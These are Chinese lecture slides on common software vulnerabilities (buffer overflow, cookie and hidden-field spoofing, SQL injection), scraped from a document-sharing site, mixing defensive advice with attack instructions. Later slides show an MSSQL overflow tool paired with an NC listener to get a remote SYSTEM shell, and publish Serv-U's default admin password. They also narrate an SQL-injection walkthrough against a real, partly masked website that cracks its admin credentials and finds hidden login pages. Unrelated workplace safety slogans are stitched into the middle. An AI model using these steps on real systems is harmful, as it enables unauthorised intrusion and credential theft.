06-软件开发中常见的安全漏洞

整理文档很辛苦,赏杯茶钱您下走!

免费阅读已结束,点击下载阅读编辑剩下 ...

阅读已结束,您可以下载文档离线阅读编辑

资源描述

26.05.20201软件开发中的安全漏洞田宏政26.05.20202安全漏洞难以完全避免但是,有经验的开发人员一般软件中存在的安全漏洞会比较少了解常见的软件开发中的安全漏洞对于开发安全的软件是很有帮助的26.05.20203漏洞的种类软件设计错误逻辑判断失误缓冲区溢出SQL注入Cookie修改隐藏字段修改跨站脚本攻击。。。。。。26.05.20204缓冲区溢出型漏洞缓冲区溢出型漏洞是计算机系统软件中极为常见的一类安全漏洞包括rpcdcom漏洞,ida&idq漏洞等在内的漏洞都属于这一类漏洞主要原因是由于C/C++语言中,对缓冲区的使用没有边界检测。因为在缓冲区的附近会有一些重要的数据结构。当输入的数据长度超出缓冲区的长度时,可能覆盖这些重要的数据结构,造成程序执行流程的改变。黑客通过仔细地分析这些数据结构,可以构造出特定的输入数据,当发生溢出时,会执行黑客输入的代码,达到攻击目标机器的目的26.05.20205一个会引起缓冲区溢出的C语言程序#includestdio.hmain(){charbuf[40];//定义的缓冲区scanf(“%s”,buf);//如果用户输入的内容长度大于40,将会导致缓冲区溢出printf(“%s”,buf);}26.05.20206当输入字符串长度超过预定长度的时候,缓冲区溢出,程序崩溃26.05.20207在Windows2000Server或者Windows2003Server上,默认情况下,发生溢出时没有出错信息,而只是自动关闭溢出的程序26.05.20208缓冲区溢出漏洞存在于c/c++以及以此为基础的编程语言一般的溢出方法会导致程序停止运行,但仔细分析构造出的溢出数据可以让程序在溢出之后运行我们输入的代码在windowsxp中,如果启用了dep(数据执行保护)功能,可以减少缓冲区溢出的威胁26.05.20209入侵者如何利用缓冲区溢出漏洞?发现漏洞使用调试器分析地址编写ShellCode编写发送ShellCode的程序如何寻找存在缓冲区溢出的漏洞程序是很困难的如何利用这些漏洞也是困难的对缓冲区溢出漏洞的熟悉程度,很大程度上可以说明黑客水平的高低26.05.202010网站开发中常见的漏洞26.05.202011缺少必要的认证检查导致可以直接访问动态网页导致入侵。如一个网站,在一般的情况下需要通过index.htm的一个链接而访问网页b.asp。假设网页b.asp内有一些功能需要认证才能访问。但如果b.asp缺少必要的代码检查是否通过正常的认证登录系统,则可能导致用户可以直接在浏览器地址栏输入b.asp的地址而绕过系统正常的认证。26.05.202012Cookie欺骗造成的Web入侵有些系统将系统的认证信息直接保存与Cookie变量中。如果入侵值了解Cookie的意义,则可以利用特殊的浏览器来伪造一个Cookie,对Web系统进行欺骗,使系统误认为是一个合法的系统用户,从而可以越权访问系统的数据。。26.05.202013隐藏字段欺骗如果将认证等数据信息保存在网页的隐藏字段中,同样存在类似的问题例:%IfRequest(“username”)=“admin”ThenResponse.Write“你是管理员”EndIf%formaction=“”inputtype=hiddenname=“usernamevalue=“zhang3inputtype=“button”/form26.05.202014Sql注入很多网站采用类似以下的代码进行用户认证Password=request(“password”)Sql=“select*fromusertablewhereusername=‘admin’andpassword=‘”+password+“’”Conn.opensql26.05.202015正常填写的时候,sql语句为Select*fromusertablewhereusername=‘admin’andpassword=‘123456’但如果输入以下口令时,语句变为Select*fromusertablewhereUsername=‘admin’andpassword=‘123456’or‘1’=‘1’26.05.202016MSSQL漏洞利用工具:SQL2(已有下载)命令格式:sql2[远程IP][本地IP]本地端口SQL版本说明:本地端口指在本机上用NC打开的监听端口;SQL版本对SQL2000而言有三个版本0,1,2例:如果对方用的是MSSQLSP1,则可用如下命令进行溢出:NC–l–p53Sql2db.target.com200.200.200.20053126.05.202017入侵实例思路:NC监听,漏洞溢出,建立连接步骤:NC监听:NC–l–p250漏洞溢出:sql2192.168.245.137192.168.245.12500(或1,2依次来试)建立连接:在NC监听端口上出现system32后说明双方已成功连接,并可以用管理员身份执行任何命令.26.05.202018在网页开发中防范SQL注入不要轻易相信从客户端传递过来的数据,对客户端传递过来的数据进行严格的合法性检查利用正则表达式对客户输入的数据进行合法性检查一定要在服务端进行检查,不能仅仅在客户端进行检查26.05.202019使用自动检测工具检测SQL注入漏洞因为SQL注入是现在网站入侵的重要途径,因此出现了一些辅助自动测试工具,如NBSI,阿D注入检测工具在网站开发中,可以利用这些自动检测工具进行辅助检测。但最重要的是对源码进行人工检查,确保客户端传输来的数据进行合法性检验26.05.202020安全小标语1:关注安全,平安是福;安全小标语2:安全连着你我他,平安幸福靠大家;安全小标语3:安全一个人,幸福一家人;安全小标语4:安全科学技术也是第一生产力;安全小标语5:提高安全意识,倡导文明风尚;安全小标语6:生命至高无上,安全责任为天;安全小标语7:多看一眼安全保险,多防一步少出事故;安全小标语8:安全第一,预防为主;安全小标语9:你对违章讲人情,事故对你不留情;安全小标语10:安全规程系生产,自觉遵守是保障。安全小标贴1:物品不能堆这里,堵塞通道害自己;安全小标贴2:为了大家的安全和健康,请严格照章作业;安全小标贴3:请勿吸烟和携带火种,以免小火酿成大灾;安全小标贴4:危险机械,请遵守操作规程;安全小标贴5:这里物品很危险,存储使用要小心;安全小标贴6:未正确佩戴防护用具(品),谢绝入内;安全小标贴7:高空作业有坠落危险,请您务必系好安全带;安全小标贴8:工具用后请归位,以免用时无处寻;安全小标贴9:消防设施,器材和标志不得移位;安全小标贴10:地面湿滑,小心跌到;安全小标贴11:危险场所,26.05.202021Serv-UFTP服务器漏洞该软件常用于在网内建立FTP服务器漏洞原理:该服务器默认以”本地系统账户”的权限运行,导致普通用户也能利用这个”本地系统账户”来执行系统命令存在一个用户名为”LocalAdnimistrator”,密码为#1@$ak#.1k;0@P的默认管理员账号,且密码固定(只能通过连接到本地的127.0.0.1:43958端口进行登录),从而留下隐患26.05.202022漏洞利用本漏洞的检测与利用参见教材P199-20026.05.202023实例:SQL注入攻击实战一、工具下载下载来的这个工具包中总有两个小程序:wed.exe和wis.exe,其中wis.exe是用来扫描某个站点中是否存在SQL注入漏洞的;wed.exe则是用来破解SQL注入用户名密码的。两个工具的使用都非常简单,结合起来,就可以完成从寻找注入点到注入攻击完成的整个过程。26.05.202024二、寻找SQL注入点“wis.exe”使用的格式如下:“wis.exe网址”,例如:首先打开命令提示窗口,输入如下命令:wis.exe***.cn/。小提示:在输入网址时,前面的http://;和最后面的/是必不可少的,否则将会提示无法进行扫描。输入完毕后回车,即可开始进行扫描了。很快得到了扫描结果,可以看到这个网站中存在着很多SQL注入漏洞,我们随便挑其中一个来做试验,就挑/rjz/sort.asp?classid=1吧。打开浏览器,在地址栏中输入***.cn/rjz/sort.asp?classid=1,打开了网站页面,呵呵,原来是一个下载网页。现在来对它进行SQL注入,破解出管理员的帐号来吧!26.05.202025三、SQL注入破解管理员帐号现在进入命令窗口中,使用刚才下载的工具包中的wed.exe程序,命令使用格式为:wed.exe网址输入如下命令:wed.exe***.cn/rjz/sort.asp?classid=1。回车后可看到命令运行情况。小提示:这次输入网址时,最后面千万不要加上那个/,但前面的http://;头也还是必不可少的。可以看到程序自动打开了工具包中的几个文件,C:\wed\wed\TableName.dic、C:\wed\wed\UserField.dic和C:\wed\wed\PassField.dic,这几个文件分别是用来破解用户数据库中的字表名、用户名和用户密码所需的字典文件。当然我们也可以用其它的工具来生成字典文件,不过想想小榕哥以前出的黑客字典那么的强大,还用得着去多此一举吗?26.05.202026在破解过程中还可以看到SQLInjectionDetected.的字符串字样,表示程序还会对需要注入破解的网站进行一次检测,看看是否存在SQL注入漏洞,成功后才开始猜测用户名。开始等待吧!呵呵,很快就获得了数据库表名admin,然后得到用户表名和字长,为username和6;再检测到密码表名和字长,为password和8。看来用户的密码还起得挺长的呢,如果手工破解出这个用户密码来,一定要花上不少时间的!正想着手工注入会有多困难时,wed.exe程序已经开始了用户名和密码的破解。很快的,就得到了用户名和密码了——admina、pbk&7*8r!天啦,这也太容易了吧!还不到一分钟呢26.05.202027四、搜索隐藏的管理登录页面重新回到刚才的软件下载页面中,任意点击了一个软件下载链接,哎呀?怎么可以随便下载的呢!不像以前碰到的收费网站,要输入用户名和密码才可以下载。看来这是免费下载的网站,我猜错了攻击对象,不过既然都来了,就看看有没有什么可利用的吧?拿到了管理员的帐号,现在看来我们只有找到管理员登录管理的入口才行了。在网页上找遍了也没有看到什么管理员的入口链接,看来还是得让榕哥出手啦!再次拿出wis.exe程序,这个程序除了可以扫描出网站中存在的所有SQL注入点外,还可以找到隐藏的管理员登录页面。在命令窗口中输入wis.exe***.cn/rjz/sort.asp?classid=1//a。注意这里输入了一个隐藏的参数/a。26.05.202028怎么会扫描不成功呢?呵呵,原来这是扫描注入点,当然不能成功了,管理员登录页面只可能隐藏在整个网站的某个路径下。于是输入wis.exe***.cn//a,对整个网站进行扫描。注意扫描语句中网址的格式。程序开始对网站中的登录页面进行扫描,在扫描过程中,找到的隐藏登录页面会在屏幕上以红色进行显示。很快就查找完了,在最后以列表显示在命令窗口中。可以看到列表中有多个以/rjz/开头的登录页面网址,包括/rjz/gl/manage.asp、/rjz/gl/login.asp、/rjz/gl/admin1.asp等。就挑/rjz/gl/admin1.asp吧,反正这些都是管理员登录的页面想用哪个都可以。在浏览器中输入网址http:

1 / 29
下载文档,编辑使用

©2015-2020 m.777doc.com 三七文档.

备案号:鲁ICP备2024069028号-1 客服联系 QQ:2149211541

×
保存成功